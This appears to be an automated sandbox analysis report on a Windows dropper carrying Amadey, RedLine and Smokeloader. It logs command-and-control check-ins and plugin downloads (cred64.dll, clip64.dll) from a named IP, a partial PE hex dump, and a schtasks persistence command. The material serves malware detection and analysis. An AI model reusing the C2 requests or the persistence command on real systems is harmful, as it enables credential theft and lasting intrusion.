SID:	2027700
Source Port:	49908
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450040802027700 02/06/23-14:18:22.709350
SID:	2027700
Source Port:	50040
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450199802027700 02/06/23-14:19:04.853144
SID:	2027700
Source Port:	50199
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449796802027700 02/06/23-14:17:16.378790
SID:	2027700
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450158802027700 02/06/23-14:18:55.072147
SID:	2027700
Source Port:	50158
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450028802027700 02/06/23-14:18:19.806368
SID:	2027700
Source Port:	50028
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450069802027700 02/06/23-14:18:30.250801
SID:	2027700
Source Port:	50069
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449920802027700 02/06/23-14:17:49.692974
SID:	2027700
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449831802027700 02/06/23-14:17:25.452284
SID:	2027700
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450219802027700 02/06/23-14:19:11.621916
SID:	2027700
Source Port:	50219
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449701802027700 02/06/23-14:16:31.297623
SID:	2027700
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449742802027700 02/06/23-14:16:53.631837
SID:	2027700
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450012802027700 02/06/23-14:18:15.955153
SID:	2027700
Source Port:	50012
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449819802027700 02/06/23-14:17:22.395201
SID:	2027700
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449949802027700 02/06/23-14:17:58.849591
SID:	2027700
Source Port:	49949
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450142802027700 02/06/23-14:18:50.911528
SID:	2027700
Source Port:	50142
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450101802027700 02/06/23-14:18:39.586156
SID:	2027700
Source Port:	50101
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450272802027700 02/06/23-14:19:24.480080
SID:	2027700
Source Port:	50272
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450231802027700 02/06/23-14:19:14.506549
SID:	2027700
Source Port:	50231
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 06 Feb 2023 13:16:28 GMTContent-Type: application/octet-streamContent-Length: 91136Last-Modified: Fri, 03 Feb 2023 17:19:21 GMTConnection: keep-aliveETag: "63dd4219-16400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 18 8f 2c 43 79 e1 7f 43 79 e1 7f 43 79 e1 7f 18 11 e2 7e 49 79 e1 7f 18 11 e4 7e cb 79 e1 7f 18 11 e5 7e 51 79 e1 7f 96 14 e5 7e 4c 79 e1 7f 96 14 e2 7e 52 79 e1 7f 96 14 e4 7e 62 79 e1 7f 18 11 e0 7e 46 79 e1 7f 43 79 e0 7f 19 79 e1 7f d8 17 e8 7e 40 79 e1 7f d8 17 e1 7e 42 79 e1 7f d8 17 1e 7f 42 79 e1 7f d8 17 e3 7e 42 79 e1 7f 52 69 63 68 43 79 e1 7f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d4 38 dd 63 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 de 00 00 00 8c 00 00 00 00 00 00 00 3e 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 01 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 4a 01 00 9c 00 00 00 3c 4b 01 00 3c 00 00 00 00 80 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 54 10 00 00 20 3f 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3f 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 dd 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 61 00 00 00 f0 00 00 00 62 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 14 00 00 00 60 01 00 00 0c 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 80 01 00 00 02 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 54 10 00 00 00 90 01 00 00 12 00 00 00 52 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

ASN Name: TNNET-ASTNNetOyMainnetworkFI TNNET-ASTNNetOyMainnetworkFI

Source: Joe Sandbox View

IP Address: 62.204.41.4 62.204.41.4

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 8_2_001786E2 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

8_2_001786E2

Source: global traffic	HTTP traffic detected: GET /Gol478Ns/Plugins/cred64.dll HTTP/1.1Host: 62.204.41.4
Source: global traffic	HTTP traffic detected: GET /Gol478Ns/Plugins/clip64.dll HTTP/1.1Host: 62.204.41.4

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Mon, 06 Feb 2023 13:16:28 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4

Source: unknown

HTTP traffic detected: POST /Gol478Ns/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 62.204.41.4Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.ajAf.exe.1fc0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.3.ajAf.exe.1ff0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.ajAf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.ajAf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000002.00000002.414193208.00000000005F7000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000002.00000003.390341867.0000000001FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C3BA2	0_2_010C3BA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C5C9E	0_2_010C5C9E
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Code function: 1_2_01093BA2	1_2_01093BA2
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Code function: 1_2_01095C9E	1_2_01095C9E
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_00408C60	2_2_00408C60
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_0040DC11	2_2_0040DC11
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_00407C3F	2_2_00407C3F
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_00418CCC	2_2_00418CCC
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_00406CA0	2_2_00406CA0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_004028B0	2_2_004028B0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_0041A4BE	2_2_0041A4BE
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_00418244	2_2_00418244
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_00401650	2_2_00401650
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_00402F20	2_2_00402F20
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_004193C4	2_2_004193C4
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_00418788	2_2_00418788
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_00402F89	2_2_00402F89
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_00402B90	2_2_00402B90
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_004073A0	2_2_004073A0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FC31F0	2_2_01FC31F0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FD89EF	2_2_01FD89EF
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FC3187	2_2_01FC3187
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FC18B7	2_2_01FC18B7
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FC786D	2_2_01FC786D
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FC2B17	2_2_01FC2B17
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FC2DF7	2_2_01FC2DF7
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FD84AB	2_2_01FD84AB
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FC77D9	2_2_01FC77D9
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FD8F33	2_2_01FD8F33
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FDA725	2_2_01FDA725
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FC6F07	2_2_01FC6F07
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FC8EC7	2_2_01FC8EC7
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FC7EA6	2_2_01FC7EA6
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FCDE78	2_2_01FCDE78
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_02230DB0	2_2_02230DB0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 8_2_00198530	8_2_00198530
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 8_2_0019754D	8_2_0019754D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 8_2_00176F40	8_2_00176F40

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\clip64[1].dll B5BD049D32F0FAEEA6CE65A0F0D326DE5BC4427A7C1AD24BFB0EA050C1DEC7D3

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.ajAf.exe.1fc0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.3.ajAf.exe.1ff0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.ajAf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.ajAf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000002.00000002.414193208.00000000005F7000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000003.390341867.0000000001FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		0_2_010C1F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Code function: 1_2_01091F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		1_2_01091F90

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: String function: 0040E1D8 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: String function: 01FCE43F appears 44 times
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: String function: 00187CE0 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: String function: 00185E20 appears 130 times

Source: file.exe	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 441732 bytes, 2 files, at 0x2c +A "bjAg.exe" +A "xriv.exe", ID 1565, number 1, 20 datablocks, 0x1503 compression
Source: bjAg.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 250578 bytes, 2 files, at 0x2c +A "ajAf.exe" +A "nika.exe", ID 1525, number 1, 12 datablocks, 0x1503 compression

Source: file.exe, 00000000.00000003.307249151.0000000004A44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs file.exe

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ajAf.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@34/14@0/1

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_010C597D GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_010C597D

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

Code function: 2_2_0223A1A8 ChangeServiceConfigA,

2_2_0223A1A8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_010C4FE0 FindResourceA,LoadResource,LockResource,GetDlgItem,ShowWindow,GetDlgItem,ShowWindow,FreeResource,SendMessageA,

0_2_010C4FE0

Source: file.exe

ReversingLabs: Detection: 66%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe"
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F
